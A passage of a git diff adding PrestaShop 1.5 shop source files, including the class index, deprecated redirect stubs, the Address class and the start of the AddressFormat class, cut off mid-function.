'classes/helper/HelperOptions.php', + 'HelperView' => '', + 'HelperViewCore' => 'classes/helper/HelperView.php', + 'HistoryController' => '', + 'HistoryControllerCore' => 'controllers/front/HistoryController.php', + 'Hook' => '', + 'HookCore' => 'classes/Hook.php', + 'IdentityController' => 'override/controllers/front/IdentityController.php', + 'IdentityControllerCore' => 'controllers/front/IdentityController.php', + 'Image' => '', + 'ImageCore' => 'classes/Image.php', + 'ImageManager' => '', + 'ImageManagerCore' => 'classes/ImageManager.php', + 'ImageType' => '', + 'ImageTypeCore' => 'classes/ImageType.php', + 'ImportModule' => '', + 'ImportModuleCore' => 'classes/module/ImportModule.php', + 'IndexController' => 'override/controllers/front/IndexController.php', + 'IndexControllerCore' => 'controllers/front/IndexController.php', + 'InscriptionController' => '', + 'InscriptionControllerCore' => 'controllers/front/InscriptionController.php', + 'Language' => '', + 'LanguageCore' => 'classes/Language.php', + 'Link' => 'override/classes/Link.php', + 'LinkCore' => 'classes/Link.php', + 'LivredorController' => '', + 'LivredorControllerCore' => 'controllers/front/LivredorController.php', + 'LocalizationPack' => '', + 'LocalizationPackCore' => 'classes/LocalizationPack.php', + 'Logger' => '', + 'LoggerCore' => 'classes/Logger.php', + 'Mail' => '', + 'MailCore' => 'classes/Mail.php', + 'Manufacturer' => '', + 'ManufacturerController' => '', + 'ManufacturerControllerCore' => 'controllers/front/ManufacturerController.php', + 'ManufacturerCore' => 'classes/Manufacturer.php', + 'Media' => '', + 'MediaCore' => 'classes/Media.php', + 'Message' => '', + 'MessageCore' => 'classes/Message.php', + 'Meta' => '', + 'MetaCore' => 'classes/Meta.php', + 'Module' => '', + 'ModuleAdminController' => 'override/classes/controller/ModuleAdminController.php', + 'ModuleAdminControllerCore' => 'classes/controller/ModuleAdminController.php', + 'ModuleCore' => 'classes/module/Module.php', + 'ModuleFrontController' => 'override/classes/controller/ModuleFrontController.php', + 'ModuleFrontControllerCore' => 'classes/controller/ModuleFrontController.php', + 'ModuleGraph' => '', + 'ModuleGraphCore' => 'classes/module/ModuleGraph.php', + 'ModuleGraphEngine' => '', + 'ModuleGraphEngineCore' => 'classes/module/ModuleGraphEngine.php', + 'ModuleGrid' => '', + 'ModuleGridCore' => 'classes/module/ModuleGrid.php', + 'ModuleGridEngine' => '', + 'ModuleGridEngineCore' => 'classes/module/ModuleGridEngine.php', + 'MyAccountController' => '', + 'MyAccountControllerCore' => 'controllers/front/MyAccountController.php', + 'MySQL' => '', + 'MySQLCore' => 'classes/db/MySQL.php', + 'NewProductsController' => '', + 'NewProductsControllerCore' => 'controllers/front/NewProductsController.php', + 'Notification' => '', + 'NotificationCore' => 'classes/Notification.php', + 'ObjectModel' => '', + 'ObjectModelCore' => 'classes/ObjectModel.php', + 'Offredefidelite' => '', + 'OffredefideliteController' => '', + 'OffredefideliteControllerCore' => 'controllers/front/OffredefideliteController.php', + 'OffredefideliteCore' => 'classes/Offredefidelite.php', + 'OffrefideliteController' => '', + 'OffrefideliteControllerCore' => 'controllers/front/OffrefideliteController.php', + 'OffrefidelitepdfController' => '', + 'OffrefidelitepdfControllerCore' => 'controllers/front/OffrefidelitepdfController.php', + 'Order' => '', + 'OrderCarrier' => '', + 'OrderCarrierCore' => 'classes/order/OrderCarrier.php', + 'OrderCartRule' => '', + 'OrderCartRuleCore' => 'classes/order/OrderCartRule.php', + 'OrderConfirmationController' => '', + 'OrderConfirmationControllerCore' => 'controllers/front/OrderConfirmationController.php', + 'OrderController' => 'override/controllers/front/OrderController.php', + 'OrderControllerCore' => 'controllers/front/OrderController.php', + 'OrderCore' => 'classes/order/Order.php', + 'OrderDetail' => '', + 'OrderDetailController' => '', + 'OrderDetailControllerCore' => 'controllers/front/OrderDetailController.php', + 'OrderDetailCore' => 'classes/order/OrderDetail.php', + 'OrderDiscount' => '', + 'OrderDiscountCore' => 'classes/order/OrderDiscount.php', + 'OrderFollowController' => '', + 'OrderFollowControllerCore' => 'controllers/front/OrderFollowController.php', + 'OrderHistory' => '', + 'OrderHistoryCore' => 'classes/order/OrderHistory.php', + 'OrderInvoice' => '', + 'OrderInvoiceCore' => 'classes/order/OrderInvoice.php', + 'OrderMessage' => '', + 'OrderMessageCore' => 'classes/order/OrderMessage.php', + 'OrderOpcController' => '', + 'OrderOpcControllerCore' => 'controllers/front/OrderOpcController.php', + 'OrderPayment' => '', + 'OrderPaymentCore' => 'classes/order/OrderPayment.php', + 'OrderReturn' => '', + 'OrderReturnController' => '', + 'OrderReturnControllerCore' => 'controllers/front/OrderReturnController.php', + 'OrderReturnCore' => 'classes/order/OrderReturn.php', + 'OrderReturnState' => '', + 'OrderReturnStateCore' => 'classes/order/OrderReturnState.php', + 'OrderSlip' => '', + 'OrderSlipController' => '', + 'OrderSlipControllerCore' => 'controllers/front/OrderSlipController.php', + 'OrderSlipCore' => 'classes/order/OrderSlip.php', + 'OrderState' => '', + 'OrderStateCore' => 'classes/order/OrderState.php', + 'PDF' => '', + 'PDFCore' => 'classes/pdf/PDF.php', + 'PDFGenerator' => 'override/classes/pdf/PDFGenerator.php', + 'PDFGeneratorCore' => 'classes/pdf/PDFGenerator.php', + 'Pack' => '', + 'PackCore' => 'classes/Pack.php', + 'Page' => '', + 'PageCore' => 'classes/Page.php', + 'PageNotFoundController' => '', + 'PageNotFoundControllerCore' => 'controllers/front/PageNotFoundController.php', + 'ParentOrderController' => 'override/controllers/front/ParentOrderController.php', + 'ParentOrderControllerCore' => 'controllers/front/ParentOrderController.php', + 'PasswordController' => '', + 'PasswordControllerCore' => 'controllers/front/PasswordController.php', + 'PaymentCC' => '', + 'PaymentCCCore' => 'classes/PaymentCC.php', + 'PaymentModule' => '', + 'PaymentModuleCore' => 'classes/PaymentModule.php', + 'PdfInvoiceController' => '', + 'PdfInvoiceControllerCore' => 'controllers/front/PdfInvoiceController.php', + 'PdfOffreFideliteController' => '', + 'PdfOffreFideliteControllerCore' => 'controllers/front/PdfOffreFideliteController.php', + 'PdfOrderReturnController' => '', + 'PdfOrderReturnControllerCore' => 'controllers/front/PdfOrderReturnController.php', + 'PdfOrderSlipController' => '', + 'PdfOrderSlipControllerCore' => 'controllers/front/PdfOrderSlipController.php', + 'PhilosophieController' => '', + 'PhilosophieControllerCore' => 'controllers/front/PhilosophieController.php', + 'PresseController' => '', + 'PresseControllerCore' => 'controllers/front/PresseController.php', + 'PrestaShopDatabaseException' => '', + 'PrestaShopDatabaseExceptionCore' => 'classes/exception/PrestaShopDatabaseException.php', + 'PrestaShopException' => '', + 'PrestaShopExceptionCore' => 'classes/exception/PrestaShopException.php', + 'PrestaShopModuleException' => '', + 'PrestaShopModuleExceptionCore' => 'classes/exception/PrestaShopModuleException.php', + 'PrestaShopPaymentException' => '', + 'PrestaShopPaymentExceptionCore' => 'classes/exception/PrestaShopPaymentException.php', + 'PricesDropController' => '', + 'PricesDropControllerCore' => 'controllers/front/PricesDropController.php', + 'Product' => 'override/classes/Product.php', + 'ProductController' => 'override/controllers/front/ProductController.php', + 'ProductControllerCore' => 'controllers/front/ProductController.php', + 'ProductCore' => 'classes/Product.php', + 'ProductDownload' => '', + 'ProductDownloadCore' => 'classes/ProductDownload.php', + 'ProductSale' => 'override/classes/ProductSale.php', + 'ProductSaleCore' => 'classes/ProductSale.php', + 'ProductSupplier' => '', + 'ProductSupplierCore' => 'classes/ProductSupplier.php', + 'Profile' => '', + 'ProfileCore' => 'classes/Profile.php', + 'QuickAccess' => '', + 'QuickAccessCore' => 'classes/QuickAccess.php', + 'RangePrice' => '', + 'RangePriceCore' => 'classes/range/RangePrice.php', + 'RangeWeight' => '', + 'RangeWeightCore' => 'classes/range/RangeWeight.php', + 'Referrer' => '', + 'ReferrerCore' => 'classes/Referrer.php', + 'RequestSql' => '', + 'RequestSqlCore' => 'classes/RequestSql.php', + 'Rijndael' => '', + 'RijndaelCore' => 'classes/Rijndael.php', + 'Risk' => '', + 'RiskCore' => 'classes/Risk.php', + 'Scene' => '', + 'SceneCore' => 'classes/Scene.php', + 'Search' => '', + 'SearchController' => '', + 'SearchControllerCore' => 'controllers/front/SearchController.php', + 'SearchCore' => 'classes/Search.php', + 'SearchEngine' => '', + 'SearchEngineCore' => 'classes/SearchEngine.php', + 'Shop' => '', + 'ShopCore' => 'classes/shop/Shop.php', + 'ShopGroup' => '', + 'ShopGroupCore' => 'classes/shop/ShopGroup.php', + 'ShopUrl' => '', + 'ShopUrlCore' => 'classes/shop/ShopUrl.php', + 'SitemapController' => '', + 'SitemapControllerCore' => 'controllers/front/SitemapController.php', + 'SpecificPrice' => '', + 'SpecificPriceCore' => 'classes/SpecificPrice.php', + 'SpecificPriceRule' => '', + 'SpecificPriceRuleCore' => 'classes/SpecificPriceRule.php', + 'State' => '', + 'StateCore' => 'classes/State.php', + 'StatisticsController' => '', + 'StatisticsControllerCore' => 'controllers/front/StatisticsController.php', + 'Stock' => '', + 'StockAvailable' => '', + 'StockAvailableCore' => 'classes/stock/StockAvailable.php', + 'StockCore' => 'classes/stock/Stock.php', + 'StockManager' => '', + 'StockManagerCore' => 'classes/stock/StockManager.php', + 'StockManagerFactory' => '', + 'StockManagerFactoryCore' => 'classes/stock/StockManagerFactory.php', + 'StockManagerInterface' => 'classes/stock/StockManagerInterface.php', + 'StockManagerModule' => '', + 'StockManagerModuleCore' => 'classes/stock/StockManagerModule.php', + 'StockMvt' => '', + 'StockMvtCore' => 'classes/stock/StockMvt.php', + 'StockMvtReason' => '', + 'StockMvtReasonCore' => 'classes/stock/StockMvtReason.php', + 'StockMvtWS' => '', + 'StockMvtWSCore' => 'classes/stock/StockMvtWS.php', + 'Store' => '', + 'StoreCore' => 'classes/Store.php', + 'StoresController' => 'override/controllers/front/StoresController.php', + 'StoresControllerCore' => 'controllers/front/StoresController.php', + 'Supplier' => '', + 'SupplierController' => '', + 'SupplierControllerCore' => 'controllers/front/SupplierController.php', + 'SupplierCore' => 'classes/Supplier.php', + 'SupplyOrder' => '', + 'SupplyOrderCore' => 'classes/stock/SupplyOrder.php', + 'SupplyOrderDetail' => '', + 'SupplyOrderDetailCore' => 'classes/stock/SupplyOrderDetail.php', + 'SupplyOrderHistory' => '', + 'SupplyOrderHistoryCore' => 'classes/stock/SupplyOrderHistory.php', + 'SupplyOrderReceiptHistory' => '', + 'SupplyOrderReceiptHistoryCore' => 'classes/stock/SupplyOrderReceiptHistory.php', + 'SupplyOrderState' => '', + 'SupplyOrderStateCore' => 'classes/stock/SupplyOrderState.php', + 'Tab' => '', + 'TabCore' => 'classes/Tab.php', + 'Tag' => '', + 'TagCore' => 'classes/Tag.php', + 'Tax' => '', + 'TaxCalculator' => '', + 'TaxCalculatorCore' => 'classes/tax/TaxCalculator.php', + 'TaxCore' => 'classes/tax/Tax.php', + 'TaxManagerFactory' => '', + 'TaxManagerFactoryCore' => 'classes/tax/TaxManagerFactory.php', + 'TaxManagerInterface' => 'classes/tax/TaxManagerInterface.php', + 'TaxManagerModule' => '', + 'TaxManagerModuleCore' => 'classes/tax/TaxManagerModule.php', + 'TaxRule' => '', + 'TaxRuleCore' => 'classes/tax/TaxRule.php', + 'TaxRulesGroup' => '', + 'TaxRulesGroupCore' => 'classes/tax/TaxRulesGroup.php', + 'TaxRulesTaxManager' => '', + 'TaxRulesTaxManagerCore' => 'classes/tax/TaxRulesTaxManager.php', + 'Theme' => '', + 'ThemeCore' => 'classes/Theme.php', + 'Tools' => '', + 'ToolsCore' => 'classes/Tools.php', + 'Translate' => '', + 'TranslateCore' => 'classes/Translate.php', + 'TranslatedConfiguration' => '', + 'TranslatedConfigurationCore' => 'classes/TranslatedConfiguration.php', + 'Upgrader' => '', + 'UpgraderCore' => 'classes/Upgrader.php', + 'Validate' => '', + 'ValidateCore' => 'classes/Validate.php', + 'Warehouse' => '', + 'WarehouseCore' => 'classes/stock/Warehouse.php', + 'WarehouseProductLocation' => '', + 'WarehouseProductLocationCore' => 'classes/stock/WarehouseProductLocation.php', + 'WebserviceException' => '', + 'WebserviceExceptionCore' => 'classes/webservice/WebserviceException.php', + 'WebserviceKey' => '', + 'WebserviceKeyCore' => 'classes/webservice/WebserviceKey.php', + 'WebserviceOutputBuilder' => '', + 'WebserviceOutputBuilderCore' => 'classes/webservice/WebserviceOutputBuilder.php', + 'WebserviceOutputInterface' => 'classes/webservice/WebserviceOutputInterface.php', + 'WebserviceOutputXML' => '', + 'WebserviceOutputXMLCore' => 'classes/webservice/WebserviceOutputXML.php', + 'WebserviceRequest' => '', + 'WebserviceRequestCore' => 'classes/webservice/WebserviceRequest.php', + 'WebserviceSpecificManagementImages' => '', + 'WebserviceSpecificManagementImagesCore' => 'classes/webservice/WebserviceSpecificManagementImages.php', + 'WebserviceSpecificManagementInterface' => 'classes/webservice/WebserviceSpecificManagementInterface.php', + 'WebserviceSpecificManagementSearch' => '', + 'WebserviceSpecificManagementSearchCore' => 'classes/webservice/WebserviceSpecificManagementSearch.php', + 'Zone' => '', + 'ZoneCore' => 'classes/Zone.php', +); ?> \ No newline at end of file diff --git a/cart.php b/cart.php new file mode 100755 index 0000000..ab24378 --- /dev/null +++ b/cart.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=cart'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/category.php b/category.php new file mode 100755 index 0000000..9c6033f --- /dev/null +++ b/category.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=category'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/changecurrency.php b/changecurrency.php new file mode 100755 index 0000000..8b91744 --- /dev/null +++ b/changecurrency.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=change-currency'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/classes/Address.php b/classes/Address.php new file mode 100755 index 0000000..abf8ac2 --- /dev/null +++ b/classes/Address.php @@ -0,0 +1,379 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AddressCore extends ObjectModel +{ + /** @var integer Customer id which address belongs to */ + public $id_customer = null; + + /** @var integer Manufacturer id which address belongs to */ + public $id_manufacturer = null; + + /** @var integer Supplier id which address belongs to */ + public $id_supplier = null; + + /** + * @since 1.5.0 + * @var int Warehouse id which address belongs to + */ + public $id_warehouse = null; + + /** @var integer Country id */ + public $id_country; + + /** @var integer State id */ + public $id_state; + + /** @var string Country name */ + public $country; + + /** @var string Alias (eg. Home, Work...) */ + public $alias; + + /** @var string Company (optional) */ + public $company; + + /** @var string Lastname */ + public $lastname; + + /** @var string Firstname */ + public $firstname; + + /** @var string Address first line */ + public $address1; + + /** @var string Address second line (optional) */ + public $address2; + + /** @var string Postal code */ + public $postcode; + + /** @var string City */ + public $city; + + /** @var string Any other useful information */ + public $other; + + /** @var string Phone number */ + public $phone; + + /** @var string Mobile phone number */ + public $phone_mobile; + + /** @var string VAT number */ + public $vat_number; + + /** @var string DNI number */ + public $dni; + + /** @var string Object creation date */ + public $date_add; + + /** @var string Object last modification date */ + public $date_upd; + + /** @var boolean True if address has been deleted (staying in database as deleted) */ + public $deleted = 0; + + protected static $_idZones = array(); + protected static $_idCountries = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'address', + 'primary' => 'id_address', + 'fields' => array( + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_manufacturer' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId', 'copy_post' => false), + 'id_country' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_state' => array('type' => self::TYPE_INT, 'validate' => 'isNullOrUnsignedId'), + 'alias' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'company' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'size' => 64), + 'lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName', 'required' => true, 'size' => 32), + 'vat_number' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'address1' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'required' => true, 'size' => 128), + 'address2' => array('type' => self::TYPE_STRING, 'validate' => 'isAddress', 'size' => 128), + 'postcode' => array('type' => self::TYPE_STRING, 'validate' => 'isPostCode', 'size' => 12), + 'city' => array('type' => self::TYPE_STRING, 'validate' => 'isCityName', 'required' => true, 'size' => 64), + 'other' => array('type' => self::TYPE_STRING, 'validate' => 'isMessage', 'size' => 300), + 'phone' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber', 'size' => 32), + 'phone_mobile' => array('type' => self::TYPE_STRING, 'validate' => 'isPhoneNumber', 'size' => 32), + 'dni' => array('type' => self::TYPE_STRING, 'validate' => 'isDniLite', 'size' => 16), + 'deleted' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool', 'copy_post' => false), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'copy_post' => false), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat', 'copy_post' => false), + ), + ); + + protected $_includeVars = array('addressType' => 'table'); + protected $_includeContainer = false; + + protected $webserviceParameters = array( + 'objectsNodeName' => 'addresses', + 'fields' => array( + 'id_customer' => array('xlink_resource'=> 'customers'), + 'id_manufacturer' => array('xlink_resource'=> 'manufacturers'), + 'id_supplier' => array('xlink_resource'=> 'suppliers'), + 'id_warehouse' => array('xlink_resource'=> 'warehouse'), + 'id_country' => array('xlink_resource'=> 'countries'), + 'id_state' => array('xlink_resource'=> 'states'), + ), + ); + + /** + * Build an address + * + * @param integer $id_address Existing address id in order to load object (optional) + */ + public function __construct($id_address = null, $id_lang = null) + { + parent::__construct($id_address); + + /* Get and cache address country name */ + if ($this->id) + $this->country = Country::getNameById($id_lang ? $id_lang : Configuration::get('PS_LANG_DEFAULT'), $this->id_country); + } + + /** + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate, $null_values)) + return false; + + if (Validate::isUnsignedId($this->id_customer)) + Customer::resetAddressCache($this->id_customer); + return true; + } + + public function update($null_values = false) + { + // Empty related caches + if (isset(self::$_idCountries[$this->id])) + unset(self::$_idCountries[$this->id]); + if (isset(self::$_idZones[$this->id])) + unset(self::$_idZones[$this->id]); + + return parent::update($null_values); + } + + /** + * @see ObjectModel::delete() + */ + public function delete() + { + if (Validate::isUnsignedId($this->id_customer)) + Customer::resetAddressCache($this->id_customer); + + if (!$this->isUsed()) + return parent::delete(); + else + { + $this->deleted = true; + return $this->update(); + } + } + + /** + * Returns fields required for an address in an array hash + * @return array hash values + */ + public static function getFieldsValidate() + { + $tmp_addr = new Address(); + $out = $tmp_addr->fieldsValidate; + + unset($tmp_addr); + return $out; + } + + /** + * @see ObjectModel::validateController() + */ + public function validateController($htmlentities = true) + { + $errors = parent::validateController($htmlentities); + if (!Configuration::get('VATNUMBER_CHECKING')) + return $errors; + include_once(_PS_MODULE_DIR_.'vatnumber/vatnumber.php'); + if (class_exists('VatNumber', false)) + return array_merge($errors, VatNumber::WebServiceCheck($this->vat_number)); + return $errors; + } + /** + * Get zone id for a given address + * + * @param integer $id_address Address id for which we want to get zone id + * @return integer Zone id + */ + public static function getZoneById($id_address) + { + if (isset(self::$_idZones[$id_address])) + return self::$_idZones[$id_address]; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT s.`id_zone` AS id_zone_state, c.`id_zone` + FROM `'._DB_PREFIX_.'address` a + LEFT JOIN `'._DB_PREFIX_.'country` c ON c.`id_country` = a.`id_country` + LEFT JOIN `'._DB_PREFIX_.'state` s ON s.`id_state` = a.`id_state` + WHERE a.`id_address` = '.(int)$id_address); + + self::$_idZones[$id_address] = (int)((int)$result['id_zone_state'] ? $result['id_zone_state'] : $result['id_zone']); + return self::$_idZones[$id_address]; + } + + /** + * Check if country is active for a given address + * + * @param integer $id_address Address id for which we want to get country status + * @return integer Country status + */ + public static function isCountryActiveById($id_address) + { + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT c.`active` + FROM `'._DB_PREFIX_.'address` a + LEFT JOIN `'._DB_PREFIX_.'country` c ON c.`id_country` = a.`id_country` + WHERE a.`id_address` = '.(int)$id_address)) + return false; + return ($result['active']); + } + + /** + * Check if address is used (at least one order placed) + * + * @return integer Order count for this address + */ + public function isUsed() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT COUNT(`id_order`) AS used + FROM `'._DB_PREFIX_.'orders` + WHERE `id_address_delivery` = '.(int)$this->id.' + OR `id_address_invoice` = '.(int)$this->id); + + return isset($result['used']) ? $result['used'] : false; + } + + public static function getCountryAndState($id_address) + { + if (isset(self::$_idCountries[$id_address])) + return self::$_idCountries[$id_address]; + if ($id_address) + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_country`, `id_state`, `vat_number`, `postcode` FROM `'._DB_PREFIX_.'address` + WHERE `id_address` = '.(int)$id_address); + else + $result = false; + self::$_idCountries[$id_address] = $result; + return $result; + } + + /** + * Specify if an address is already in base + * + * @param $id_address Address id + * @return boolean + */ + public static function addressExists($id_address) + { + $key = 'address_exists_'.(int)$id_address; + if (!Cache::isStored($key)) + Cache::store( + $key, Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `id_address` + FROM '._DB_PREFIX_.'address a + WHERE a.`id_address` = '.(int)$id_address)); + return Cache::retrieve($key); + } + + public static function getFirstCustomerAddressId($id_customer, $active = true) + { + if (!$id_customer) + return false; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_address` + FROM `'._DB_PREFIX_.'address` + WHERE `id_customer` = '.(int)$id_customer.' AND `deleted` = 0'.($active ? ' AND `active` = 1' : '') + ); + } + + /** + * Initiliaze an address corresponding to the specified id address or if empty to the + * default shop configuration + * + * @param int $id_address + * @return Address address + */ + public static function initialize($id_address = null) + { + // if an id_address has been specified retrieve the address + if ($id_address) + { + $address = new Address((int)$id_address); + + if (!Validate::isLoadedObject($address)) + throw new PrestaShopException('Invalid address'); + } + else + { + // set the default address + $address = new Address(); + $address->id_country = (int)Context::getContext()->country->id; + $address->id_state = 0; + $address->postcode = 0; + } + + return $address; + } + + /** + * Returns id_address for a given id_supplier + * @since 1.5.0 + * @param int $id_supplier + * @return int $id_address + */ + public static function getAddressIdBySupplierId($id_supplier) + { + $query = new DbQuery(); + $query->select('id_address'); + $query->from('address'); + $query->where('id_supplier = '.(int)$id_supplier); + $query->where('deleted = 0'); + $query->where('id_customer = 0'); + $query->where('id_manufacturer = 0'); + $query->where('id_warehouse = 0'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } +} + diff --git a/classes/AddressFormat.php b/classes/AddressFormat.php new file mode 100755 index 0000000..0c9fc11 --- /dev/null +++ b/classes/AddressFormat.php @@ -0,0 +1,547 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AddressFormatCore extends ObjectModel +{ + /** @var integer */ + public $id_address_format; + + /** @var integer */ + public $id_country; + + /** @var string */ + public $format; + + protected $_errorFormatList = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'address_format', + 'primary' => 'id_country', + 'fields' => array( + 'format' => array('type' => self::TYPE_HTML, 'validate' => 'isGenericName', 'required' => true), + 'id_country' => array('type' => self::TYPE_INT), + ), + ); + + public static $requireFormFieldsList = array( + 'firstname', + 'name', + 'address1', + 'city', + 'postcode', + 'Country:name', + 'State:name'); + + public static $forbiddenPropertyList = array( + 'deleted', + 'date_add', + 'alias', + 'secure_key', + 'note', + 'newsletter', + 'ip_registration_newsletter', + 'newsletter_date_add', + 'optin', + 'passwd', + 'last_passwd_gen', + 'active', + 'is_guest', + 'date_upd', + 'country', + 'years', + 'days', + 'months', + 'description', + 'meta_description', + 'short_description', + 'link_rewrite', + 'meta_title', + 'meta_keywords', + 'display_tax_label', + 'need_zip_code', + 'contains_states', + 'call_prefixes', + 'show_public_prices', + 'max_payment', + 'max_payment_days', + 'geoloc_postcode', + 'logged', + 'account_number', + 'groupBox', + 'ape', + 'max_payment', + 'outstanding_allow_amount', + 'call_prefix', + 'definition', + ); + + public static $forbiddenClassList = array( + 'Manufacturer', + 'Supplier'); + + const _CLEANING_REGEX_ = '#([^\w:_]+)#i'; + + /* + * Check if the the association of the field name and a class name + * is valide + * @className is the name class + * @fieldName is a property name + * @isIdField boolean to know if we have to allowed a property name started by 'id_' + */ + protected function _checkValidateClassField($className, $fieldName, $isIdField) + { + $isValide = false; + + if (!class_exists($className)) + $this->_errorFormatList[] = Tools::displayError('This class name does not exist.'). + ': '.$className; + else + { + $obj = new $className(); + $reflect = new ReflectionObject($obj); + + // Check if the property is accessible + $publicProperties = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); + foreach ($publicProperties as $property) + { + $propertyName = $property->getName(); + if (($propertyName == $fieldName) && ($isIdField || + (!preg_match('#id|id_\w#', $propertyName)))) + $isValide = true; + } + + if (!$isValide) + $this->_errorFormatList[] = Tools::displayError('This property does not exist in the class or is forbidden.'). + ': '.$className.': '.$fieldName; + + unset($obj); + unset($reflect); + } + return $isValide; + } + + /* + * Verify the existence of a field name and check the availability + * of an association between a field name and a class (ClassName:fieldName) + * if the separator is overview + * @patternName is the composition of the class and field name + * @fieldsValidate contains the list of available field for the Address class + */ + protected function _checkLiableAssociation($patternName, $fieldsValidate) + { + $patternName = trim($patternName); + + if ($associationName = explode(':', $patternName)) + { + $totalNameUsed = count($associationName); + if ($totalNameUsed > 2) + $this->_errorFormatList[] = Tools::displayError('This association has too many elements.'); + else if ($totalNameUsed == 1) + { + $associationName[0] = strtolower($associationName[0]); + if (in_array($associationName[0], self::$forbiddenPropertyList) || + !$this->_checkValidateClassField('Address', $associationName[0], false)) + $this->_errorFormatList[] = Tools::displayError('This name is not allowed.').': '. + $associationName[0]; + } + else if ($totalNameUsed == 2) + { + if (empty($associationName[0]) || empty($associationName[1])) + $this->_errorFormatList[] = Tools::displayError('Syntax error with this pattern.').': '.$patternName; + else + { + $associationName[0] = ucfirst($associationName[0]); + $associationName[1] = strtolower($associationName[1]); + + if (in_array($associationName[0], self::$forbiddenClassList)) + $this->_errorFormatList[] = Tools::displayError('This name is not allowed.').': '. + $associationName[0]; + else + { + // Check if the id field name exist in the Address class + // Don't check this attribute on Address (no sense) + if ($associationName[0] != 'Address') + $this->_checkValidateClassField('Address', 'id_'.strtolower($associationName[0]), true); + + // Check if the field name exist in the class write by the user + $this->_checkValidateClassField($associationName[0], $associationName[1], false); + } + } + } + } + } + + /* + * Check if the set fields are valide + */ + public function checkFormatFields() + { + $this->_errorFormatList = array(); + $fieldsValidate = Address::getFieldsValidate(); + $usedKeyList = array(); + + $multipleLineFields = explode("\n", $this->format); + if ($multipleLineFields && is_array($multipleLineFields)) + foreach ($multipleLineFields as $lineField) + { + if (($patternsName = preg_split(self::_CLEANING_REGEX_, $lineField, -1, PREG_SPLIT_NO_EMPTY))) + if (is_array($patternsName)) + { + foreach ($patternsName as $patternName) + { + if (!in_array($patternName, $usedKeyList)) + { + $this->_checkLiableAssociation($patternName, $fieldsValidate); + $usedKeyList[] = $patternName; + } + else + $this->_errorFormatList[] = Tools::displayError('This key has already been used.'). + ': '.$patternName; + } + } + } + return (count($this->_errorFormatList)) ? false : true; + } + + /* + * Returns the error list + */ + public function getErrorList() + { + return $this->_errorFormatList; + } + + /* + ** Set the layout key with the liable value + ** example : (firstname) => 'Presta' will result (Presta) + ** : (firstname-lastname) => 'Presta' and 'Shop' result '(Presta-Shop)' + */ + protected static function _setOriginalDisplayFormat(&$formattedValueList, $currentLine, $currentKeyList) + { + if ($currentKeyList && is_array($currentKeyList)) + if 